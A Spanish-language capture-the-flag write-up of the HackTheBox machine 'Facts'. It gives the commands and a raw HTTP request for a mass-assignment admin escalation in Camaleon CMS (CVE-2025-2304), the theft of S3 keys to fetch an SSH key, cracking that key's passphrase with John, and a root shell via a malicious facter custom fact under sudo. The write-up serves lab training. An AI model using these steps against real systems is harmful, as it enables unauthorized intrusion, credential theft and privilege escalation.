Buscar en el sitio

Volver a todos los artículos
HackTheBox

Facts - HackTheBox

Camaleon CMS con un mass assignment que te hace admin, credenciales de S3 escondidas en el panel, una clave SSH cifrada y un facter corriendo como root. Writeup completo de la máquina Facts.

HackTheBox — Facts - HackTheBox
En esta página
  1. Reconocimiento
  2. El CMS
  3. CVE-2025-2304: de usuario a admin
  4. Credenciales de S3 en el panel
  5. Crackear la passphrase
  6. Root: facter como un fact malicioso
  7. Lo que me llevo

Facts es una máquina Linux de dificultad fácil de la temporada 10 de HackTheBox. No tiene nada rebuscado, pero encadena cuatro cosas que vale la pena tener frescas: un mass assignment en un CMS Ruby, un bucket S3 interno con credenciales filtradas, el crackeo de la passphrase de una clave SSH y un binario tonto corriendo como root. Vamos por partes.

Cadena de ataque de Facts
La cadena completa, de nmap a root. Spoiler: la máquina no se resiste mucho.

Reconocimiento

Lo de siempre, un escaneo completo de puertos y luego versiones sobre los que estén abiertos:

nmap -p- --min-rate 5000 10.129.12.207
nmap -sC -sV -p22,80 -oA facts 10.129.12.207

Solo dos puertos:

Puerto Servicio Versión
22 SSH OpenSSH 9.9p1 (Ubuntu)
80 HTTP nginx 1.26.3

El 80 redirige a facts.htb, así que lo metemos en /etc/hosts:

echo "10.129.12.207 facts.htb" | sudo tee -a /etc/hosts

El CMS

La web es un Camaleon CMS 2.9.0, un CMS escrito en Ruby on Rails. El dato de la versión es lo importante aquí: 2.9.0 arrastra el CVE-2025-2304, un mass assignment en el endpoint que usa el panel para actualizar usuarios por AJAX.

Lo bonito es que el registro está abierto. Te das de alta en /admin/register con cualquier cosa:

usuario:  dark
password: admin123
email:    a@a.com

Entras al panel, pero como usuario raso no ves gran cosa. Ahí es donde entra el bug.

CVE-2025-2304: de usuario a admin

El método updated_ajax del controlador de usuarios llama a params.permit! sin filtrar, es decir, acepta cualquier parámetro que le mandes y lo asigna al modelo. El panel lo usa para cambiarte la contraseña, pero si en esa misma petición cuelas user[role]=admin, Rails te lo asigna sin rechistar.

Con Burp interceptas el cambio de contraseña de tu propio usuario (algo tipo POST /admin/users/5/updated_ajax) y añades el parámetro del rol:

POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Type: application/x-www-form-urlencoded

user[password]=admin123&user[password_confirmation]=admin123&user[role]=admin

Forward, recargas el panel y ahora eres administrador. Si prefieres no pelearte con Burp, hay PoC públicas del CVE que automatizan el registro + la escalada en una línea.

Mass assignment: inyectar role=admin
El truco: colar user[role]=admin en la petición que solo debía cambiarte la contraseña.

Credenciales de S3 en el panel

Ya como admin aparecen las opciones de configuración del sitio, y entre ellas la integración de almacenamiento. Camaleon soporta backends tipo S3 y aquí hay uno interno configurado, con su Access Key y Secret Key a la vista. Las copiamos.

El servicio S3 (un MinIO) escucha en el puerto 54321 del propio host. Configuramos el cliente de AWS con las claves robadas:

aws configure
# Access Key ID y Secret Access Key del panel, región cualquiera

Y listamos. Lo único raro es que hay que apuntar al endpoint a mano porque no es AWS real:

aws --endpoint-url http://facts.htb:54321 s3 ls
# internal
# randomfacts1

El bucket internal es el que interesa:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519

Si el aws se queja de que la firma no es válida, suele ser que tu reloj está desincronizado con la máquina. Un sudo ntpdate -s time.google.com lo arregla.

Crackear la passphrase

La clave id_ed25519 está cifrada con passphrase, así que no entra directa. La pasamos a un formato que entienda John y tiramos de rockyou:

ssh2john id_ed25519 > id_ed25519.hash
john id_ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt

Sale en segundos: la passphrase es dragonballz. Ajustamos permisos y entramos como el usuario trivia:

chmod 600 id_ed25519
ssh -i id_ed25519 trivia@facts.htb

Y ya tenemos la user.txt.

Root: facter como un fact malicioso

Lo primero al aterrizar, mirar qué podemos hacer con sudo:

sudo -l
# (ALL) NOPASSWD: /usr/bin/facter

Facter es la herramienta de Puppet que recolecta datos del sistema (“facts”). Lo interesante es que soporta custom facts escritos en Ruby, y si le indicas un directorio con --custom-dir, cargará y ejecutará el .rb que haya dentro. Como lo corremos con sudo, ese Ruby se ejecuta como root.

Creamos un fact que lance una shell y se lo damos a facter:

echo 'exec "/bin/bash"' > /home/trivia/root.rb
sudo /usr/bin/facter --custom-dir /home/trivia/ root

Shell de root y la root.txt es nuestra.

Dificultad real de la escalada: un echo y un sudo. Hay días que la vida te sonríe.

Escalada de privilegios con facter
facter carga tu .rb y lo ejecuta como root. Gracias por la confianza.

Lo que me llevo

Ninguno de los pasos es difícil por separado, pero Facts es un buen recordatorio de un par de cosas que se repiten en entornos reales: un CMS desactualizado con un CVE conocido abre la puerta, y las credenciales casi nunca están donde “deberían” sino en paneles de configuración y buckets internos que nadie cierra. Y lo de siempre con la escalada: antes de buscar exploits raros, sudo -l y preguntarse qué puede hacer de más un binario que confía en archivos que tú controlas.

Sud0pls
Sud0pls / Sud0pls

Writeups, notas y reversing.